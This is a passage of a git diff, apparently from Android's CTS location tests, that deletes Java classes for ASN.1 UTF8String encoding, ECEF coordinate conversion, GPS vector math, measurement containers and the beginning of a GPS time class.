- value = PerUnalignedUtils.decodeConstrainedLengthOfBytes(
- reader, minimumSize, maximumSize);
- }
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-
- @Override public String toString() {
- return toIndentedString("");
- }
-
- public String toIndentedString(String indent) {
- return getTypeName() + " = [ " + (value == null ? "<null>" : HEX.encode(value)) + " ];\n";
- }
-
- protected String getTypeName() {
- return "";
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java
deleted file mode 100644
index 513c02c..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-
-import java.nio.ByteBuffer;
-import java.nio.charset.StandardCharsets;
-import java.util.Collection;
-
-/**
- * Base class for representing ASN.1 objects of type UTF8String.
- */
-public class Asn1Utf8String extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.UTF8STRING);
-
- private int minimumSize = 0;
- private Integer maximumSize = null; // null == unbounded.
- private String value;
-
- protected void setMinSize(int min) {
- minimumSize = min;
- }
-
- protected void setMaxSize(int max) {
- maximumSize = max;
- }
-
- public String getValue() {
- return value;
- }
-
- public void setValue(String value) {
- this.value = value;
- }
-
- private byte[] getValueBytes() {
- return value.getBytes(StandardCharsets.UTF_8);
- }
-
- private void setValueBytes(byte[] bytes) {
- value = new String(bytes, StandardCharsets.UTF_8);
- }
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.UTF8STRING;
- }
-
- @Override int getBerValueLength() {
- Preconditions.checkNotNull(value, "No value set.");
- return getValueBytes().length;
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- Preconditions.checkNotNull(value, "No value set.");
- buf.put(getValueBytes());
- }
-
- @Override public void decodeBerValue(ByteBuffer buf) {
- setValueBytes(getRemaining(buf));
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- Preconditions.checkNotNull(value, "No value set.");
- Preconditions.checkState(
- maximumSize == null || value.length() <= maximumSize, "Too large %s",
- value.length());
- byte[] bytes = getValueBytes();
- if (aligned) {
- return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(bytes);
- } else {
- return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(bytes);
- }
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
- if (aligned) {
- setValueBytes(PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
- } else {
- setValueBytes(PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
- }
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java b/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java
deleted file mode 100644
index eece5b4..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import org.apache.commons.math.linear.Array2DRowRealMatrix;
-import org.apache.commons.math.linear.RealMatrix;
-
-/**
- * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to local ENU (East, North,
- * and Up).
- *
- * <p> Source: reference from Navipedia:
- * http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
- */
-
-public class Ecef2EnuConverter {
-
- /**
- * Converts a vector represented by coordinates ecefX, ecefY, ecefZ in an
- * Earth-Centered Earth-Fixed (ECEF) Cartesian system into a vector in a
- * local east-north-up (ENU) Cartesian system.
- *
- * <p> For example it can be used to rotate a speed vector or position offset vector to ENU.
- *
- * @param ecefX X coordinates in ECEF
- * @param ecefY Y coordinates in ECEF
- * @param ecefZ Z coordinates in ECEF
- * @param refLat Latitude in Radians of the Reference Position
- * @param refLng Longitude in Radians of the Reference Position
- * @return the converted values in {@code EnuValues}
- */
- public static EnuValues convertEcefToEnu(double ecefX, double ecefY, double ecefZ,
- double refLat, double refLng){
-
- RealMatrix rotationMatrix = getRotationMatrix(refLat, refLng);
- RealMatrix ecefCoordinates = new Array2DRowRealMatrix(new double[]{ecefX, ecefY, ecefZ});
-
- RealMatrix enuResult = rotationMatrix.multiply(ecefCoordinates);
- return new EnuValues(enuResult.getEntry(0, 0),
- enuResult.getEntry(1, 0), enuResult.getEntry(2 , 0));
- }
-
- /**
- * Computes a rotation matrix for converting a vector in Earth-Centered Earth-Fixed (ECEF)
- * Cartesian system into a vector in local east-north-up (ENU) Cartesian system with respect to
- * a reference location. The matrix has the following content:
- *
- * - sinLng cosLng 0
- * - sinLat * cosLng - sinLat * sinLng cosLat
- * cosLat * cosLng cosLat * sinLng sinLat
- *
- * <p> Reference: Pratap Misra and Per Enge
- * "Global Positioning System: Signals, Measurements, and Performance" Page 137.
- *
- * @param refLat Latitude of reference location
- * @param refLng Longitude of reference location
- * @return the Ecef to Enu rotation matrix
- */
- public static RealMatrix getRotationMatrix(double refLat, double refLng){
- RealMatrix rotationMatrix = new Array2DRowRealMatrix(3, 3);
-
- // Fill in the rotation Matrix
- rotationMatrix.setEntry(0, 0, -1 * Math.sin(refLng));
- rotationMatrix.setEntry(1, 0, -1 * Math.cos(refLng) * Math.sin(refLat));
- rotationMatrix.setEntry(2, 0, Math.cos(refLng) * Math.cos(refLat));
- rotationMatrix.setEntry(0, 1, Math.cos(refLng));
- rotationMatrix.setEntry(1, 1, -1 * Math.sin(refLat) * Math.sin(refLng));
- rotationMatrix.setEntry(2, 1, Math.cos(refLat) * Math.sin(refLng));
- rotationMatrix.setEntry(0, 2, 0);
- rotationMatrix.setEntry(1, 2, Math.cos(refLat));
- rotationMatrix.setEntry(2, 2, Math.sin(refLat));
- return rotationMatrix;
- }
-
- /**
- * A container for values in ENU (East, North, Up) coordination system.
- */
- public static class EnuValues {
-
- /**
- * East Coordinates in local ENU
- */
- public final double enuEast;
-
- /**
- * North Coordinates in local ENU
- */
- public final double enuNorth;
-
- /**
- * Up Coordinates in local ENU
- */
- public final double enuUP;
-
- /**
- * Constructor
- */
- public EnuValues(double enuEast, double enuNorth, double enuUP){
- this.enuEast = enuEast;
- this.enuNorth = enuNorth;
- this.enuUP = enuUP;
- }
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java b/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java
deleted file mode 100644
index 1d21603..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java
+++ /dev/null
@@ -1,177 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude, longitude,
- * and altitude).
- *
- * <p> Source: reference from Mathworks: https://microem.ru/files/2012/08/GPS.G1-X-00006.pdf
- * and http://www.mathworks.com/help/aeroblks/ecefpositiontolla.html
- */
-
-public class Ecef2LlaConverter {
- // WGS84 Ellipsoid Parameters
- private static final double EARTH_SEMI_MAJOR_AXIS_METERS = 6378137.0;
- private static final double ECCENTRICITY = 8.1819190842622e-2;
- private static final double INVERSE_FLATENNING = 298.257223563;
- private static final double MIN_MAGNITUDE_METERS = 1.0e-22;
- private static final double MAX_ITERATIONS = 15;
- private static final double RESIDUAL_TOLERANCE = 1.0e-6;
- private static final double SEMI_MINOR_AXIS_METERS =
- Math.sqrt(Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) * (1 - Math.pow(ECCENTRICITY, 2)));
- private static final double SECOND_ECCENTRICITY = Math.sqrt(
- (Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) - Math.pow(SEMI_MINOR_AXIS_METERS, 2))
- / Math.pow(SEMI_MINOR_AXIS_METERS, 2));
- private static final double ECEF_NEAR_POLE_THRESHOLD_METERS = 1.0;
-
- /**
- * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
- * longitude, and altitude) using the close form approach
- *
- * <p>Inputs are cartesian coordinates x,y,z
- *
- * <p>Output is GeodeticLlaValues class containing geodetic latitude (radians), geodetic longitude
- * (radians), height above WGS84 ellipsoid (m)}
- */
- public static GeodeticLlaValues convertECEFToLLACloseForm(double ecefXMeters, double ecefYMeters,
- double ecefZMeters) {
-
- // Auxiliary parameters
- double pMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
- double thetaRadians =
- Math.atan2(EARTH_SEMI_MAJOR_AXIS_METERS * ecefZMeters, SEMI_MINOR_AXIS_METERS * pMeters);
-
- double lngRadians = Math.atan2(ecefYMeters, ecefXMeters);
- // limit longitude to range of 0 to 2Pi
- lngRadians = lngRadians % (2 * Math.PI);
-
- final double sinTheta = Math.sin(thetaRadians);
- final double cosTheta = Math.cos(thetaRadians);
- final double tempY = ecefZMeters
- + Math.pow(SECOND_ECCENTRICITY, 2) * SEMI_MINOR_AXIS_METERS * Math.pow(sinTheta, 3);
- final double tempX = pMeters
- - Math.pow(ECCENTRICITY, 2) * EARTH_SEMI_MAJOR_AXIS_METERS * (Math.pow(cosTheta, 3));
- double latRadians = Math.atan2(tempY, tempX);
- // Radius of curvature in the vertical prime
- double curvatureRadius = EARTH_SEMI_MAJOR_AXIS_METERS
- / Math.sqrt(1 - Math.pow(ECCENTRICITY, 2) * (Math.pow(Math.sin(latRadians), 2)));
- double altMeters = (pMeters / Math.cos(latRadians)) - curvatureRadius;
-
- // Correct for numerical instability in altitude near poles
- boolean polesCheck = Math.abs(ecefXMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS
- && Math.abs(ecefYMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS;
- if (polesCheck) {
- altMeters = Math.abs(ecefZMeters) - SEMI_MINOR_AXIS_METERS;
- }
-
- return new GeodeticLlaValues(latRadians, lngRadians, altMeters);
- }
-
- /**
- * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
- * longitude, and altitude) using iteration approach
- *
- * <p>Inputs are cartesian coordinates x,y,z.
- *
- * <p>Outputs is GeodeticLlaValues containing geodetic latitude (radians), geodetic longitude
- * (radians), height above WGS84 ellipsoid (m)}
- */
- public static GeodeticLlaValues convertECEFToLLAByIterations(double ecefXMeters,
- double ecefYMeters, double ecefZMeters) {
-
- double xyLengthMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
- double xyzLengthMeters = Math.sqrt(Math.pow(xyLengthMeters, 2) + Math.pow(ecefZMeters, 2));
-
- double lngRad;
- if (xyLengthMeters > MIN_MAGNITUDE_METERS) {
- lngRad = Math.atan2(ecefYMeters, ecefXMeters);
- } else {
- lngRad = 0;
- }
-
- double sinPhi;
- if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
- sinPhi = ecefZMeters / xyzLengthMeters;
- } else {
- sinPhi = 0;
- }
- // initial latitude (iterate next to improve accuracy)
- double latRad = Math.asin(sinPhi);
- double altMeters;
- if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
- double ni;
- double pResidual;
- double ecefZMetersResidual;
- // initial height (iterate next to improve accuracy)
- altMeters = xyzLengthMeters - EARTH_SEMI_MAJOR_AXIS_METERS
- * (1 - sinPhi * sinPhi / INVERSE_FLATENNING);
-
- for (int i = 1; i <= MAX_ITERATIONS; i++) {
- sinPhi = Math.sin(latRad);
-
- // calculate radius of curvature in prime vertical direction
- ni = EARTH_SEMI_MAJOR_AXIS_METERS / Math.sqrt(1 - (2 - 1 / INVERSE_FLATENNING)
- / INVERSE_FLATENNING * Math.sin(latRad) * Math.sin(latRad));
-
- // calculate residuals in p and ecefZMeters
- pResidual = xyLengthMeters - (ni + altMeters) * Math.cos(latRad);
- ecefZMetersResidual = ecefZMeters
- - (ni * (1 - (2 - 1 / INVERSE_FLATENNING) / INVERSE_FLATENNING) + altMeters)
- * Math.sin(latRad);
-
- // update height and latitude
- altMeters += Math.sin(latRad) * ecefZMetersResidual + Math.cos(latRad) * pResidual;
- latRad += (Math.cos(latRad) * ecefZMetersResidual - Math.sin(latRad) * pResidual)
- / (ni + altMeters);
-
- if (Math.sqrt((pResidual * pResidual + ecefZMetersResidual * ecefZMetersResidual))
- < RESIDUAL_TOLERANCE) {
- break;
- }
-
- if (i == MAX_ITERATIONS) {
- System.err.println(
- "Geodetic coordinate calculation did not converge in " + i + " iterations");
- }
- }
- } else {
- altMeters = 0;
- }
- return new GeodeticLlaValues(latRad, lngRad, altMeters);
- }
-
- /**
- *
- * Class containing geodetic coordinates: latitude in radians, geodetic longitude in radians
- * and altitude in meters
- */
- public static class GeodeticLlaValues {
-
- public final double latitudeRadians;
- public final double longitudeRadians;
- public final double altitudeMeters;
-
- public GeodeticLlaValues(double latitudeRadians,
- double longitudeRadians, double altitudeMeters) {
- this.latitudeRadians = latitudeRadians;
- this.longitudeRadians = longitudeRadians;
- this.altitudeMeters = altitudeMeters;
- }
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java b/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java
deleted file mode 100644
index f93a390..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import org.apache.commons.math.linear.RealMatrix;
-
-/**
- * Transformations from ECEF coordiantes to Topocentric coordinates
- */
-public class EcefToTopocentricConverter {
- private static final double MIN_DISTANCE_MAGNITUDE_METERS = 1.0e-22;
- private static final int EAST_IDX = 0;
- private static final int NORTH_IDX = 1;
- private static final int UP_IDX = 2;
-
- /**
- * Transformation of {@code inputVectorMeters} with origin at {@code originECEFMeters} into
- * topocentric coordinate system. The result is {@code TopocentricAEDValues} containing azimuth
- * from north +ve clockwise, radians; elevation angle, radians; distance, vector length meters
- *
- * <p>Source: http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
- * http://kom.aau.dk/~borre/life-l99/topocent.m
- *
- */
- public static TopocentricAEDValues convertCartesianToTopocentericRadMeters(
- final double[] originECEFMeters, final double[] inputVectorMeters) {
-
- GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(originECEFMeters[0],
- originECEFMeters[1], originECEFMeters[2]);
-
- RealMatrix rotationMatrix =
- Ecef2EnuConverter.
- getRotationMatrix(latLngAlt.latitudeRadians, latLngAlt.longitudeRadians).transpose();
- double[] eastNorthUpVectorMeters = GpsMathOperations.matrixByColVectMultiplication(
- rotationMatrix.transpose().getData(), inputVectorMeters);
- double eastMeters = eastNorthUpVectorMeters[EAST_IDX];
- double northMeters = eastNorthUpVectorMeters[NORTH_IDX];
- double upMeters = eastNorthUpVectorMeters[UP_IDX];
-
- // calculate azimuth, elevation and height from the ENU values
- double horizontalDistanceMeters = Math.hypot(eastMeters, northMeters);
- double azimuthRadians;
- double elevationRadians;
-
- if (horizontalDistanceMeters < MIN_DISTANCE_MAGNITUDE_METERS) {
- elevationRadians = Math.PI / 2.0;
- azimuthRadians = 0;
- } else {
- elevationRadians = Math.atan2(upMeters, horizontalDistanceMeters);
- azimuthRadians = Math.atan2(eastMeters, northMeters);
- }
- if (azimuthRadians < 0) {
- azimuthRadians += 2 * Math.PI;
- }
-
- double distanceMeters = Math.sqrt(Math.pow(inputVectorMeters[0], 2)
- + Math.pow(inputVectorMeters[1], 2) + Math.pow(inputVectorMeters[2], 2));
- return new TopocentricAEDValues(elevationRadians, azimuthRadians, distanceMeters);
- }
-
- /**
- * Calculate azimuth, elevation in radians,and distance in meters between the user position in
- * ECEF meters {@code userPositionECEFMeters} and the satellite position in ECEF meters
- * {@code satPositionECEFMeters}
- */
- public static TopocentricAEDValues calculateElAzDistBetween2Points(
- double[] userPositionECEFMeters, double[] satPositionECEFMeters) {
-
- return convertCartesianToTopocentericRadMeters(userPositionECEFMeters,
- GpsMathOperations.subtractTwoVectors(satPositionECEFMeters, userPositionECEFMeters));
-
- }
-
- /**
- *
- * Class containing topocenter coordinates: azimuth in radians, elevation in radians, and distance
- * in meters
- */
- public static class TopocentricAEDValues {
-
- public final double elevationRadians;
- public final double azimuthRadians;
- public final double distanceMeters;
-
- public TopocentricAEDValues(double elevationRadians, double azimuthRadians,
- double distanceMeters) {
- this.elevationRadians = elevationRadians;
- this.azimuthRadians = azimuthRadians;
- this.distanceMeters = distanceMeters;
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java
deleted file mode 100644
index 3c76e78..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-
-/**
- * Helper class containing the basic vector and matrix operations used for calculating the position
- * solution from pseudoranges
- * TODO: use standard matrix library to replace the operations in this class.
- *
- */
-public class GpsMathOperations {
-
- /**
- * Calculates the norm of a vector
- */
- public static double vectorNorm(double[] inputVector) {
- double normSqured = 0;
- for (int i = 0; i < inputVector.length; i++) {
- normSqured = Math.pow(inputVector[i], 2) + normSqured;
- }
-
- return Math.sqrt(normSqured);
- }
-
- /**
- * Subtract two vectors {@code firstVector} - {@code secondVector}. Both vectors should be of the
- * same length.
- */
- public static double[] subtractTwoVectors(double[] firstVector, double[] secondVector)
- throws ArithmeticException {
- double[] result = new double[firstVector.length];
- if (firstVector.length != secondVector.length) {
- throw new ArithmeticException("Input vectors are of different lengths");
- }
-
- for (int i = 0; i < firstVector.length; i++) {
- result[i] = firstVector[i] - secondVector[i];
- }
-
- return result;
- }
-
- /**
- * Multiply a matrix {@code matrix} by a column vector {@code vector}
- * ({@code matrix} * {@code vector}) and return the resulting vector {@resultVector}.
- * {@code matrix} and {@vector} dimensions must match.
- */
- public static double[] matrixByColVectMultiplication(double[][] matrix, double[] vector)
- throws ArithmeticException {
- double result[] = new double[matrix.length];
- int matrixLength = matrix.length;
- int vectorLength = vector.length;
- if (vectorLength != matrix[0].length) {
- throw new ArithmeticException("Matrix and vector dimensions do not match");
- }
-
- for (int i = 0; i < matrixLength; i++) {
- for (int j = 0; j < vectorLength; j++) {
- result[i] += matrix[i][j] * vector[j];
- }
- }
-
- return result;
- }
-
- /**
- * Dot product of a raw vector {@code firstVector} and a column vector {@code secondVector}.
- * Both vectors should be of the same length.
- */
- public static double dotProduct(double[] firstVector, double[] secondVector)
- throws ArithmeticException {
- if (firstVector.length != secondVector.length) {
- throw new ArithmeticException("Input vectors are of different lengths");
- }
- double result = 0;
- for (int i = 0; i < firstVector.length; i++) {
- result = firstVector[i] * secondVector[i] + result;
- }
- return result;
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java
deleted file mode 100644
index db3d26f..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * A container for the received GPS measurements for a single satellite.
- *
- * <p>The GPS receiver measurements includes: satellite PRN, accumulated delta range in meters,
- * accumulated delta range state (boolean), pseudorange rate in meters per second, received signal
- * to noise ratio dB, accumulated delta range uncertainty in meters, pseudorange rate uncertainty in
- * meters per second.
- */
-class GpsMeasurement {
- /** Time since GPS week start (Nano seconds) */
- public final long arrivalTimeSinceGpsWeekNs;
-
- /** Accumulated delta range (meters) */
- public final double accumulatedDeltaRangeMeters;
-
- /** Accumulated delta range state */
- public final boolean validAccumulatedDeltaRangeMeters;
-
- /** Pseudorange rate measurement (meters per second) */
- public final double pseudorangeRateMps;
-
- /** Signal to noise ratio (dB) */
- public final double signalToNoiseRatioDb;
-
- /** Accumulated Delta Range Uncertainty (meters) */
- public final double accumulatedDeltaRangeUncertaintyMeters;
-
- /** Pseudorange rate uncertainty (meter per seconds) */
- public final double pseudorangeRateUncertaintyMps;
-
- public GpsMeasurement(long arrivalTimeSinceGpsWeekNs, double accumulatedDeltaRangeMeters,
- boolean validAccumulatedDeltaRangeMeters, double pseudorangeRateMps,
- double signalToNoiseRatioDb, double accumulatedDeltaRangeUncertaintyMeters,
- double pseudorangeRateUncertaintyMps) {
- this.arrivalTimeSinceGpsWeekNs = arrivalTimeSinceGpsWeekNs;
- this.accumulatedDeltaRangeMeters = accumulatedDeltaRangeMeters;
- this.validAccumulatedDeltaRangeMeters = validAccumulatedDeltaRangeMeters;
- this.pseudorangeRateMps = pseudorangeRateMps;
- this.signalToNoiseRatioDb = signalToNoiseRatioDb;
- this.accumulatedDeltaRangeUncertaintyMeters = accumulatedDeltaRangeUncertaintyMeters;
- this.pseudorangeRateUncertaintyMps = pseudorangeRateUncertaintyMps;
- }
-
- protected GpsMeasurement(GpsMeasurement another) {
- this(another.arrivalTimeSinceGpsWeekNs, another.accumulatedDeltaRangeMeters,
- another.validAccumulatedDeltaRangeMeters, another.pseudorangeRateMps,
- another.signalToNoiseRatioDb, another.accumulatedDeltaRangeUncertaintyMeters,
- another.pseudorangeRateUncertaintyMps);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java
deleted file mode 100644
index adf2895..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * A container for the received GPS measurements for a single satellite.
- *
- * <p>The container extends {@link GpsMeasurement} to additionally include
- * {@link #pseudorangeMeters} and {@link #pseudorangeUncertaintyMeters}.
- */
-class GpsMeasurementWithRangeAndUncertainty extends GpsMeasurement {
-
- /** Pseudorange measurement (meters) */
- public final double pseudorangeMeters;
-
- /** Pseudorange uncertainty (meters) */
- public final double pseudorangeUncertaintyMeters;
-
- public GpsMeasurementWithRangeAndUncertainty(GpsMeasurement another, double pseudorangeMeters,
- double pseudorangeUncertaintyMeters) {
- super(another);
- this.pseudorangeMeters = pseudorangeMeters;
- this.pseudorangeUncertaintyMeters = pseudorangeUncertaintyMeters;
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java b/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java
deleted file mode 100644
index ad8f736..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java
+++ /dev/null
@@ -1,315 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.util.Pair;
-import com.google.common.base.Preconditions;
-import com.google.common.primitives.Longs;
-import java.util.Calendar;
-import java.util.concurrent.TimeUnit;
-import java.time.ZoneId;
-import java.time.ZonedDateTime;
-import java.time.Instant;
-import java.util.GregorianCalendar;
-
-/**
- * A simple class to represent time unit used by GPS.
- */
-public class GpsTime implements Comparable<GpsTime> {
- public static final int MILLIS_IN_SECOND = 1000;
- public static final int SECONDS_IN_MINUTE = 60;
- public static final int MINUTES_IN_HOUR = 60;
- public static final int HOURS_IN_DAY = 24;
- public static final int SECONDS_IN_DAY =
- HOURS_IN_DAY * MINUTES_IN_HOUR * SECONDS_IN_MINUTE;
- public static final int DAYS_IN_WEEK = 7;
- public static final long MILLIS_IN_DAY = TimeUnit.DAYS.toMillis(1);
- public static final long MILLIS_IN_WEEK = TimeUnit.DAYS.toMillis(7);
- public static final long NANOS_IN_WEEK = TimeUnit.DAYS.toNanos(7);
- // GPS epoch is 1980/01/06
- public static final long GPS_DAYS_SINCE_JAVA_EPOCH = 3657;
- public static final long GPS_UTC_EPOCH_OFFSET_SECONDS =
- TimeUnit.DAYS.toSeconds(GPS_DAYS_SINCE_JAVA_EPOCH);
- public static final long GPS_UTC_EPOCH_OFFSET_NANOS =
- TimeUnit.SECONDS.toNanos(GPS_UTC_EPOCH_OFFSET_SECONDS);
- private static final ZonedDateTime LEAP_SECOND_DATE_1981 = getZonedDateTimeUTC(1981, 7, 1);
- private static final ZonedDateTime LEAP_SECOND_DATE_2012 = getZonedDateTimeUTC(2012, 7, 1);
- private static final ZonedDateTime LEAP_SECOND_DATE_2015 = getZonedDateTimeUTC(2015, 7, 1);
- private static final ZonedDateTime LEAP_SECOND_DATE_2017 = getZonedDateTimeUTC(2017, 7, 1);
- private static final long nanoSecPerSec = TimeUnit.SECONDS.toNanos(7);
- // nanoseconds since GPS epoch (1980/1/6).
- private long gpsNanos;
- private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day) {
- return getZonedDateTimeUTC(year, month, day, 0, 0, 0, 0);
- }
-
- private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day,
- int hour, int minute, int sec, int nanoSec){
- ZoneId zone = ZoneId.of("UTC");
- ZonedDateTime zdt = ZonedDateTime.of(year, month, day, hour, minute, sec, nanoSec, zone);
- return zdt;
- }
-
- private static long getMillisFromZonedDateTime(ZonedDateTime zdt) {
- return zdt.toInstant().toEpochMilli();
- }
- /**
- * Constructor for GpsTime. Input values are all in GPS time.
- * @param year Year
- * @param month Month from 1 to 12
- * @param day Day from 1 to 31
- * @param hour Hour from 0 to 23
